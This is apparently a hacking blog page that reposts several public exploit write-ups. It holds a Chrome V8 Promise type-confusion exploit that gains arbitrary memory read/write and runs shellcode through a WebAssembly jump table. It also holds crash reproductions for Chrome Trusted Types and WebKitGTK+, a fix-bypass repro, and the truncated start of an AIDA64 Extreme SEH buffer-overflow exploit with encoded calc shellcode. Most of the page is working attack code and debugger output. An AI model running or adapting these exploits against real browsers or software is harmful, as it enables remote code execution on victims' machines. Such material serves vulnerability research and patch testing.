Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863591794

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

VULNERABILITY DETAILS
The binding code generator doesn't add checks to ensure that the callback
properties of a dictionary are indeed JS functions. For example, for the
the TrustedTypePolicyOptions dictionary:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/trustedtypes/trusted_type_policy_options.idl?rcl=6c2e672967359ad32d19af8b09873adab2c0beec&l=7
-------------------
dictionary TrustedTypePolicyOptions {
   CreateHTMLCallback createHTML;
   CreateScriptCallback createScript;
   CreateURLCallback createScriptURL;
   CreateURLCallback createURL;
   boolean exposed = false;
};

callback CreateHTMLCallback = DOMString (DOMString input);
callback CreateScriptCallback = DOMString (DOMString input);
callback CreateURLCallback = USVString (DOMString input);
-------------------

the code is generated as follows:
https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy_options.cc?rcl=077f8deee2dee38d4836be1df20115eba4884f69&l=35
-------------------
void V8TrustedTypePolicyOptions::ToImpl(v8::Isolate* isolate, v8::Local<v8::Value> v8_value, TrustedTypePolicyOptions* impl, ExceptionState& exception_state) {
  if (IsUndefinedOrNull(v8_value)) {
    return;
  }
  if (!v8_value->IsObject()) {
    exception_state.ThrowTypeError("cannot convert to dictionary.");
    return;
  }
  v8::Local<v8::Object> v8Object = v8_value.As<v8::Object>();
  ALLOW_UNUSED_LOCAL(v8Object);

  const v8::Eternal<v8::Name>* keys = eternalV8TrustedTypePolicyOptionsKeys(isolate);
  v8::TryCatch block(isolate);
  v8::Local<v8::Context> context = isolate->GetCurrentContext();
  v8::Local<v8::Value> create_html_value;
  if (!v8Object->Get(context, keys[0].Get(isolate)).ToLocal(&create_html_value)) {
    exception_state.RethrowV8Exception(block.Exception());
    return;
  }
  if (create_html_value.IsEmpty() || create_html_value->IsUndefined()) {
    // Do nothing.
  } else {
    V8CreateHTMLCallback* create_html_cpp_value = V8CreateHTMLCallback::Create(create_html_value.As<v8::Function>()); //******* cast with no prior check
    impl->setCreateHTML(create_html_cpp_value);
  }               
[...]
-------------------

Thus, any JS object might be interpreted as a function.


VERSION
Google Chrome 72.0.3626.81 (Official Build) (64-bit) 
Please note that the TrustedTypes feature is currently hidden behind the
"experimental platform features" flag.


REPRODUCTION CASE
<script>
TrustedTypes.createPolicy('foo', { createHTML: 0x41414141 });
</script>


(790.b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff        mov     rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> r
rax=00001313b3350115 rbx=00006fc6d6eaf920 rcx=4141414100000000
rdx=000000e521dfd190 rsi=000000e521dfd190 rdi=000000e521dfd1d8
rip=00007ffeba967f5a rsp=000000e521dfd130 rbp=000000e521dfd290
 r8=00007ffebfb25930  r9=0000000000000018 r10=0000000000000005
r11=00003f2bc628c240 r12=000000e521dfd330 r13=000001e7dbd16650
r14=000001e7ddc22a90 r15=00003f2bc62364b8
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff        mov     rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000e5`21dfd130 00007ffe`ba967f24 chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa [C:\b\c\b\win64_clang\src\v8\src\objects.cc @ 4010] 
01 000000e5`21dfd170 00007ffe`bab1a1d7 chrome_child!v8::Object::CreationContext+0x24 [C:\b\c\b\win64_clang\src\v8\src\api.cc @ 4859] 
02 000000e5`21dfd1b0 00007ffe`bd196835 chrome_child!blink::CallbackFunctionBase::CallbackFunctionBase+0x47 [C:\b\c\b\win64_clang\src\third_party\blink\renderer\platform\bindings\callback_function_base.cc @ 13] 
03 000000e5`21dfd210 00007ffe`bd195101 chrome_child!blink::V8TrustedTypePolicyOptions::ToImpl+0x125 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_options.cc @ 57] 
04 000000e5`21dfd2f0 00007ffe`ba957f93 chrome_child!blink::V8TrustedTypePolicyFactory::CreatePolicyMethodCallback+0x211 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blink\renderer\bindings\core\v8\v8_trusted_type_policy_factory.cc @ 234] 
05 000000e5`21dfd3c0 00007ffe`bbbebb9f chrome_child!v8::internal::FunctionCallbackArguments::Call+0x253 [C:\b\c\b\win64_clang\src\v8\src\api-arguments-inl.h @ 147] 
06 000000e5`21dfd4e0 00007ffe`bbbeb631 chrome_child!v8::internal::`anonymous namespace'::HandleApiCallHelper<0>+0x20f [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 111] 
07 000000e5`21dfd5e0 00007ffe`ba957ca1 chrome_child!v8::internal::Builtin_Impl_HandleApiCall+0x111 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 0] 
08 000000e5`21dfd6a0 00007ffe`bc23cdcf chrome_child!v8::internal::Builtin_HandleApiCall+0x41 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 127] 
09 000000e5`21dfd700 00003921`bff1b0d1 chrome_child!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x4f
            
<!--
VULNERABILITY DETAILS
==1. TriggerPromiseReactions==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5975
Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate,
                                                  Handle<Object> reactions,
                                                  Handle<Object> argument,
                                                  PromiseReaction::Type type) {
  DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction());

  // We need to reverse the {reactions} here, since we record them
  // on the JSPromise in the reverse order.
  {
    DisallowHeapAllocation no_gc;
    Object current = *reactions;
    Object reversed = Smi::kZero;
    while (!current->IsSmi()) {
      Object next = PromiseReaction::cast(current)->next(); // ***1***
      PromiseReaction::cast(current)->set_next(reversed);
      reversed = current;
      current = next;
    }
    reactions = handle(reversed, isolate);
  }
[...]

A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a
typecast on the |reactions| argument without prior checks[1]. Upon further
inspection, it turned out that the JSPromise class reuses a single field to
store both the result object and the reaction list (chained callbacks).
Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the
promise is still in the "pending" state, instead they rely on the default
|resolve/reject| callbacks that are exposed to user JS code and use the
|PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether
the promise has been resolved yet. So, it's enough to call, for example,
|JSPromise::Fulfill| twice on the same Promise object to trigger the type
confusion.


==2. Thenable objects and JSPromise::Resolve==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5902
MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise,
                                       Handle<Object> resolution) {
[...]
  // 8. Let then be Get(resolution, "then").
  MaybeHandle<Object> then;
  if (isolate->IsPromiseThenLookupChainIntact(
          Handle<JSReceiver>::cast(resolution))) {
    // We can skip the "then" lookup on {resolution} if its [[Prototype]]
    // is the (initial) Promise.prototype and the Promise#then protector
    // is intact, as that guards the lookup path for the "then" property
    // on JSPromise instances which have the (initial) %PromisePrototype%.
    then = isolate->promise_then();
  } else {
    then =
        JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution),
                                isolate->factory()->then_string()); // ***2***
[...]    

This is a known behavior, and yet it has already caused some problems in the
past (see https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10).
When the promise resolution is an object that has the |then| property, |Resolve|
synchronously accesses that property and might invoke a user-defined getter[2],
which means it's possible to run user JavaScript while the promise is in the
middle of the resolution process. However, just calling the |resolve| callback
inside the getter is not enough to trigger the type confusion because of the
|kAlreadyResolvedSlot| check. Instead, one should look for places where
|JSPromise::Resolve| is called directly.


==3. V8 extras and ReadableStream==
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=d67a775151929f516380749eae3b32f514eade11&l=425
  function ReadableStreamTee(stream) {
    const reader = AcquireReadableStreamDefaultReader(stream);

    let closedOrErrored = false;
    let canceled1 = false;
    let canceled2 = false;
    let reason1;
    let reason2;
    const cancelPromise = v8.createPromise();

    function pullAlgorithm() {
      return thenPromise(
          ReadableStreamDefaultReaderRead(reader), ({value, done}) => {
            if (done && !closedOrErrored) {
              if (!canceled1) {
                ReadableStreamDefaultControllerClose(branch1controller); // ***3***
              }
              if (!canceled2) {
                ReadableStreamDefaultControllerClose(branch2controller);
              }
              closedOrErrored = true;
            }
[...]
    function cancel1Algorithm(reason) {
      canceled1 = true; // ***4***
      reason1 = reason;
      if (canceled2) {
        const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]);
        resolvePromise(cancelPromise, cancelResult);
      }
      return cancelPromise;
    }
[...]
  function ReadableStreamCancel(stream, reason) {
    stream[_readableStreamBits] |= DISTURBED;

    const state = ReadableStreamGetState(stream);
    if (state === STATE_CLOSED) {
      return Promise_resolve(undefined);
    }
    if (state === STATE_ERRORED) {
      return Promise_reject(stream[_storedError]);
    }

    ReadableStreamClose(stream);

    const sourceCancelPromise =
          ReadableStreamDefaultControllerCancel(stream[_controller], reason);
    return thenPromise(sourceCancelPromise, () => undefined);
  }

  function ReadableStreamClose(stream) {
    ReadableStreamSetState(stream, STATE_CLOSED);

    const reader = stream[_reader];
    if (reader === undefined) {
      return;
    }

    if (IsReadableStreamDefaultReader(reader) === true) {
      reader[_readRequests].forEach(
          request =>
            resolvePromise(
                request.promise,
                ReadableStreamCreateReadResult(undefined, true,
                                               request.forAuthorCode)));
      reader[_readRequests] = new binding.SimpleQueue();
    }

    resolvePromise(reader[_closedPromise], undefined);
  }

A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a
set of JavaScript classes with a couple of internal v8 methods exposed to them.
The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just
call |JSPromise::Resolve/Reject| and don't check the status of the promise
passed as an argument. Instead, the JS code around them defines a bunch of
boolean variables to track the stream's state. Unfortunately, there's a scenario
in which the state checks could be bypassed:
1. Create a new ReadableStream with an underlying source object that exposes the
stream controller's |stop| method.
2. Call the |tee| method to create a pair of child streams.
3. Make a read request for one of the child streams thus putting a new Promise
object to the |_readRequests| queue.
4. Define a getter for the |then| property on Object.prototype. From this point
every promise resolution where the resolution object inherits from
Object.prototype will call the getter.
5. Call |cancel| on the child stream. The call stack will eventually look like:
ReadableStreamCancel -> ReadableStreamClose -> resolvePromise ->
JSPromise::Resolve -> the |then| getter.
6. Inside the getter, calling regular methods on the child stream won't work
because its state is already set to "closed", but an attacker can call the
controller's |stop| method. Because |ReadableStreamClose| is executed before the
cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method
will be called again[3] resolving the promise that is currently in the middle
of the resolution process.

The only problem here is the code [3] gets executed as another promise's
reaction, i.e. as a microtask, and microtasks are supposed to be executed
asynchronously.


==4. MicrotasksScope==
V8 exposes the MicrotasksScope class to Blink to control microtask execution.
MicrotasksScope's destructor will run all scheduled microtasks synchronously, if
the object that's being destructed is the top-level MicrotasksScope.  Therefore,
calling a Blink method that instantiates a MicrotasksScope should allow running
the scheduled promise reaction[3] synchronously. However, usually all JS code
(<script> body, event handlers, timeouts) already runs inside a MicrotasksScope.
One way to overcome this is to define the JS code as the |handleEvent| property
getter of an EventListener object and add the listener to, e.g., the |load|
event.

Putting it all together, the PoC is as follows:
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", function() {
    if (++then_counter == 1) {
      controller.close();
      performMicrotaskCheckpoint();
    }
  });
  reader.cancel();
});
</script>
</body>


==5. Exploitation==
The bug allows an attacker to make the browser treat the object of their choice
as a PromiseReaction. If the second qword of the object contains a value that
looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a
pointer to another PromiseReaction in the reaction chain and try to reverse the
chain. This primitive is not very useful without a separate info leak bug. If
the second qword looks like a Smi, the method will overwrite the first, third
and fourth qwords with tagged pointers. So, if the attacker allocates a
HeapNumber and a FixedDobuleArray that are adjacent to each other, and the
umber's value has its LSB set to 0, the function will overwrite the array's
length with a pointer that looks like a sufficiently large Smi. The array's map
pointer will also get corrupted, but that's not important (at least, for release
builds).

-----------------------------------------------------------------
|     HeapNumber    ||              FixedDoubleArray            |
-----------------------------------------------------------------
|    Map    | Value ||    Map    |   Length   | Element 0 | ... |
-----------------------------------------------------------------

Once the attacker has the relative read/write primitive, it's easy to construct
the pointer leak and arbitrary read/write primitives by finding the offsets of a
couple other objects allocated next to the array. Finally, to execute the
shellcode the exploit overwrites the jump table of a WebAssembly function, which
is stored in a RWX memory page.

Exploit (the shellcode runs gnome-calculator on linux x64):
-->

<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
  data_view.setUint32(0, dword, true);
  return data_view.getUint32(0, false);
}

reverseQword = qword => {
  data_view.setBigUint64(0, qword, true);
  return data_view.getBigUint64(0, false);
}

floatAsQword = float => {
  data_view.setFloat64(0, float);
  return data_view.getBigUint64(0);
}

qwordAsFloat = qword => {
  data_view.setBigUint64(0, qword);
  return data_view.getFloat64(0);
}

let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
const MARKER = 0x31337;

leakPtr = obj => {
  ptr_leak_object[0] = obj;
  return floatAsQword(oob_access_array[ptr_leak_index]);
}

getQword = address => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  return arbirary_access_array[0];
}

setQword = (address, value) => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  arbirary_access_array[0] = value;
}

getField = (object_ptr, num, tagged = true) =>
  object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));

setBytes = (address, array) => {
  for (let i = 0; i < array.length; ++i) {
    setQword(address + BigInt(i), BigInt(array[i]));
  }
}

// ------------------------- \\

runOutsideMicrotasksScope (() => {
  oob_access_array = Array(16).fill(1.1);
  ptr_leak_object = {};
  arbirary_access_array = new BigUint64Array(1);
  oob_access_array.length = 0;

  const heap_number_to_corrupt = qwordAsFloat(0x10101010n);
  oob_access_array[0] = 1.1;
  ptr_leak_object[0] = MARKER;
  arbirary_access_array.buffer;

  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", function() {
    let counter_value = ++then_counter;
    if (counter_value == 1) {
      controller.close();
      performMicrotaskCheckpoint();
      throw 0x123;
    } else if (counter_value == 2) { 
      throw heap_number_to_corrupt;
    } else if (counter_value == 4) {
      oob_access_array.length = 60;
      
      findOffsets();
      runCalc();
    }
  });
  reader.cancel();
});

findOffsets = () => {
  let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
  for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
      ++ptr_leak_index) {
    if (oob_access_array[ptr_leak_index] === markerAsFloat) {
      break;
    }
  }

  let oneAsFloat = qwordAsFloat(1n << 32n);
  for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
      ++external_ptr_index) {
    if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
        oob_access_array[external_ptr_index - 1] === 0) {
      break;
    }
  }

  if (ptr_leak_index === oob_access_array.length ||
      external_ptr_index === oob_access_array.length) {
    throw "Couldn't find the offsets";
  }
}

runCalc = () => {
  const wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
    0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
    0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
    0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
    0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x41, 0x00, 0x0b
  ]);
  const wasm_instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm_code));
  const wasm_func = wasm_instance.exports.a;

  const shellcode = [
    0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
    0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
    0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
    0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
    0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
    0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
    0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
    0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
    0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
  ];

  wasm_instance_ptr = leakPtr(wasm_instance);
  const jump_table = getQword(getField(wasm_instance_ptr, 32));
  setBytes(jump_table, shellcode);
  wasm_func();
}
</script>
</body>

<!--
VERSION
Google Chrome 72.0.3626.96 (Official Build) (64-bit)
Google Chrome 74.0.3702.0 (Official Build) dev (64-bit)

The Chrome team has landed a fix for the issue, but there's a way to bypass it.
From Chromium's bug tracker:

Sadly, there's still a way to bypass the latest fix. The fix prevents multiple resolution when all
the calls come from the |v8.resolvePromise| or |v8.rejectPromise| method exposed to v8 extras.
However, |ReadableStreamReaderGenericRelease| might use the regular |Promise.reject| method to
create an initially rejected promise and store it in |reader[_closedPromise]|:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=722
  function ReadableStreamReaderGenericRelease(reader) {
    // TODO(yhirano): Remove this when we don't need hasPendingActivity in
    // blink::UnderlyingSourceBase.
    const controller = reader[_ownerReadableStream][_controller];
    if (controller[_readableStreamDefaultControllerBits] &
        BLINK_LOCK_NOTIFICATIONS) {
      // The stream is created with an external controller (i.e. made in
      // Blink).
      const lockNotifyTarget = controller[_lockNotifyTarget];
      callFunction(lockNotifyTarget.notifyLockReleased, lockNotifyTarget);
    }

    if (ReadableStreamGetState(reader[_ownerReadableStream]) ===
        STATE_READABLE) {
      rejectPromise(
          reader[_closedPromise],
          new TypeError(errReleasedReaderClosedPromise));
    } else {
      reader[_closedPromise] =
          Promise_reject(new TypeError(errReleasedReaderClosedPromise)); // ********
    }

Then, |ReadableStreamClose| might try to resolve it:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=541
  function ReadableStreamClose(stream) {
    ReadableStreamSetState(stream, STATE_CLOSED);

    const reader = stream[_reader];
    if (reader === undefined) {
      return;
    }

    if (IsReadableStreamDefaultReader(reader) === true) {
      reader[_readRequests].forEach(
          request =>
            resolvePromise(
                request.promise,
                ReadableStreamCreateReadResult(undefined, true,
                                               request.forAuthorCode)));
      reader[_readRequests] = new binding.SimpleQueue();
    }

    resolvePromise(reader[_closedPromise], undefined); // ********
  }

It's not possible to call |ReadableStreamReaderGenericRelease| until the
|reader[_readRequests]| queue is empty, so an attacker has to call the |close| method twice as in
the original repro case. The call succeeds because |resolvePromise| acts a silent no-op.

Since the promise is already rejected when it's passed to |v8.resolvePromise|, the code hits the
assertion added to |PromiseInternalResolve| in the previous patch. It turns out that there's a
JSCallReducer optimization for |v8.resolvePromise| that doesn't generate the same assertion,
so the attacker can trigger optimization of |ReadableStreamCancel| to bypass the check:
https://cs.chromium.org/chromium/src/v8/src/compiler/js-call-reducer.cc?rcl=fee9be7abb565fc2f2ae7c20e7597bece4fc7144&l=5727
Reduction JSCallReducer::ReducePromiseInternalResolve(Node* node) {
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  Node* promise = node->op()->ValueInputCount() >= 2
                      ? NodeProperties::GetValueInput(node, 2)
                      : jsgraph()->UndefinedConstant();
  Node* resolution = node->op()->ValueInputCount() >= 3
                         ? NodeProperties::GetValueInput(node, 3)
                         : jsgraph()->UndefinedConstant();
  Node* frame_state = NodeProperties::GetFrameStateInput(node);
  Node* context = NodeProperties::GetContextInput(node);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);

  // Resolve the {promise} using the given {resolution}.
  Node* value = effect =
      graph()->NewNode(javascript()->ResolvePromise(), promise, resolution,
                       context, frame_state, effect, control);

  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

Repro:
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

for (let i = 0; i < 100000; ++i) {
  let stream = new ReadableStream();
  let reader = stream.getReader();
  reader.cancel();
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", function() {
    if (++then_counter == 1) {
      controller.close();
      performMicrotaskCheckpoint();
      reader.releaseLock();
    }
  });
  reader.cancel();
});
</script>
</body>

(lldb) bt
* thread #1, name = 'chrome', stop reason = signal SIGSEGV: address access protected (fault address: 0x30fd824804e8)
  * frame #0: 0x0000555cf8057317 chrome`Builtins_RejectPromise + 55
    frame #1: 0x0000555cf801f7cc chrome`Builtins_RunMicrotasks + 556
    frame #2: 0x0000555cf7fff598 chrome`Builtins_JSRunMicrotasksEntry + 120
    frame #3: 0x0000555cf7b3e405 chrome`v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 549
    frame #4: 0x0000555cf7b3e895 chrome`v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 101
    frame #5: 0x0000555cf7b3e9fa chrome`v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*, v8::internal::MaybeHandle<v8::internal::Object>*) + 74
    frame #6: 0x0000555cf7c8042b chrome`v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) + 427
    frame #7: 0x0000555cfb5c13ba chrome`blink::Microtask::PerformCheckpoint(v8::Isolate*) + 58
    frame #8: 0x0000555cfc5cc301 chrome`blink::(anonymous namespace)::EndOfTaskRunner::DidProcessTask(base::PendingTask const&) + 17
-->
            
<!--
VULNERABILITY DETAILS
The compositor thread in WebKitGTK+ might alter a FilterOperation object's reference count variable at the same time as the main thread. Then the reference count corruption might lead to a UAF condition.


REPRODUCTION CASE
-->

<html>
<style>
@keyframes foo {
    0% { opacity: 0; }
    100% { opacity: 1; }
}

div {
  animation-name: foo;
  animation-duration: 1s;
  animation-iteration-count: infinite;
  filter: saturate(50%);
}
</style>
<body>
<script>
    frame = document.createElement("iframe");

    setInterval(_ => {
      frame.remove();
      document.body.appendChild(frame);

      doc = frame.contentDocument;
      doc.head.appendChild(document.querySelector("style").cloneNode(true));

      elt = document.createElement("div");
      elt.textContent = "foo";
      let elements = [];

      for (let i = 0, count = Math.random() * 50; i < count; ++i) {
        elements[i] = doc.body.appendChild(elt.cloneNode(true));
        elements[i].clientWidth;
      }
    }, Math.random() * 500);
</script>
</body>
</html>

<!--
VERSION
Reproduced on WebKitGTK+ build revision 240647.
This bug doesn't seem to affect WebKit on macOS/iOS.
-->
            
#!/usr/bin/python                                                                                         #
# Exploit Title: AIDA64 Extreme 5.99.4900 - Logging SEH Buffer Overflow                                   #
# Date: 2019-04-02                                                                                        #
# Vendor Homepage: https://www.aida64.com                                                                 #
# Software Link: http://download.aida64.com/aida64extreme599.exe                                          #
# Mirror Link : https://www.nikktech.com/main/downloads/finalwire/aida64extreme599.exe                    #
# Exploit Author: Peyman Forouzan                                                                         #
# Tested Version: 5.99.4900                                                                               #
# Tested on: Winxp SP2 32-64 bit - Win7 Enterprise SP1 32-64 bit - Win10 Enterprise 32-64 bit             #
# Special Thanks to my wife                                                                               #
# Steps :                                                                                                 #
#  1- Run python code : Aida64-Extreme.py ( Two files are created )                                       #
#  2- App --> File --> Preferences --> Hardware Monitoring --> Logging --> paste in contents from the     #
#     exploit-x32.txt or exploit-x64.txt (depend on your windows version)                                 #
#     into "Log sensor reading to CSV log file : " --> OK                                                 #
#  3- File --> Exit  (Do not directly close the program window, If you want to do this,                   #
#      some codes must be changed - See the comments in code)                                             #
#      --> Shellcode (Calc) open                                                                          #
#---------------------------------------------------------------------------------------------------------#
bufsize1 = 1120 # for windows-x32
#bufsize1 = 1088 # for windows-x32 - if you directly close the program window
bufsize2 = 1114 # for windows-x64
#bufsize2 = 1082 # for windows-x64 - if you directly close the program window

#msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f python -a x86 --platform windows -v calc
calc =  ""
calc += "\x89\xe2\xdb\xd5\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49"
calc += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
calc += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
calc += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
calc += "\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x6d\x38\x6f"
calc += "\x72\x35\x50\x75\x50\x45\x50\x45\x30\x4c\x49\x79\x75"
calc += "\x64\x71\x49\x50\x52\x44\x4e\x6b\x70\x50\x64\x70\x6c"
calc += "\x4b\x31\x42\x44\x4c\x4e\x6b\x73\x62\x57\x64\x4e\x6b"
calc += "\x71\x62\x44\x68\x56\x6f\x78\x37\x32\x6a\x31\x36\x45"
calc += "\x61\x39\x6f\x6c\x6c\x45\x6c\x30\x61\x33\x4c\x65\x52"
calc += "\x44\x6c\x47\x50\x49\x51\x7a\x6f\x46\x6d\x37\x71\x4a"
calc += "\x67\x39\x72\x78\x72\x46\x32\x32\x77\x4c\x4b\x43\x62"
calc += "\x76\x70\x4c\x4b\x43\x7a\x47\x4c\x4e\x6b\x52\x6c\x62"
calc += "\x31\x52\x58\x4a\x43\x51\x58\x37\x71\x68\x51\x70\x51"
calc += "\x6e\x6b\x36\x39\x45\x70\x75\x51\x7a\x73\x4c\x4b\x42"
calc += "\x69\x45\x48\x5a\x43\x36\x5a\x37\x39\x4e\x6b\x56\x54"
calc += "\x6e\x6b\x73\x31\x4a\x76\x74\x71\x59\x6f\x4c\x6c\x69"
calc += "\x51\x5a\x6f\x44\x4d\x77\x71\x48\x47\x64\x78\x79\x70"
calc += "\x33\x45\x79\x66\x34\x43\x53\x4d\x5a\x58\x75\x6b\x51"
calc += "\x6d\x76\x44\x63\x45\x79\x74\x51\x48\x4c\x4b\x30\x58"
calc += "\x31\x34\x65\x51\x38\x53\x53\x56\x6e\x6b\x34\x4c\x30"
calc += "\x4b\x6e\x6b\x46\x38\x57\x6c\x63\x31\x49\x43\x4e\x6b"
calc += "\x34\x44\x6e\x6b\x35\x51\x38\x50\x6e\x69\x30\x44\x34"
calc += "\x64\x35\x74\x31\x4b\x63\x6b\x45\x31\x73\x69\x63\x6a"
calc += "\x62\x71\x39\x6f\x6b\x50\x33\x6f\x53\x6f\x52\x7a\x4e"
calc += "\x6b\x72\x32\x38\x6b\x6c\x4d\x53\x6d\x32\x4a\x43\x31"
calc += "\x6c\x4d\x6f\x75\x4c\x72\x45\x50\x77\x70\x67\x70\x76"
calc += "\x30\x42\x48\x35\x61\x6c\x4b\x30\x6f\x4c\x47\x49\x6f"
calc += "\x59\x45\x4f\x4b\x38\x70\x4e\x55\x4e\x42\x36\x36\x65"
calc += "\x38\x6d\x76\x4c\x55\x4d\x6d\x6f\x6d\x79\x6f\x39\x45"
calc += "\x55\x6c\x55\x56\x73\x4c\x74\x4a\x4f\x70\x39\x6b\x6b"
calc += "\x50\x53\x45\x47\x75\x4d\x6b\x43\x77\x54\x53\x31\x62"
calc += "\x50\x6f\x61\x7a\x77\x70\x32\x73\x39\x6f\x48\x55\x45"
calc += "\x33\x73\x51\x50\x6c\x65\x33\x36\x4e\x53\x55\x62\x58"
calc += "\x63\x55\x53\x30\x41\x41"

jmpback1 = "\xe9\xa0\xfb\xff\xff"	# Jmp back
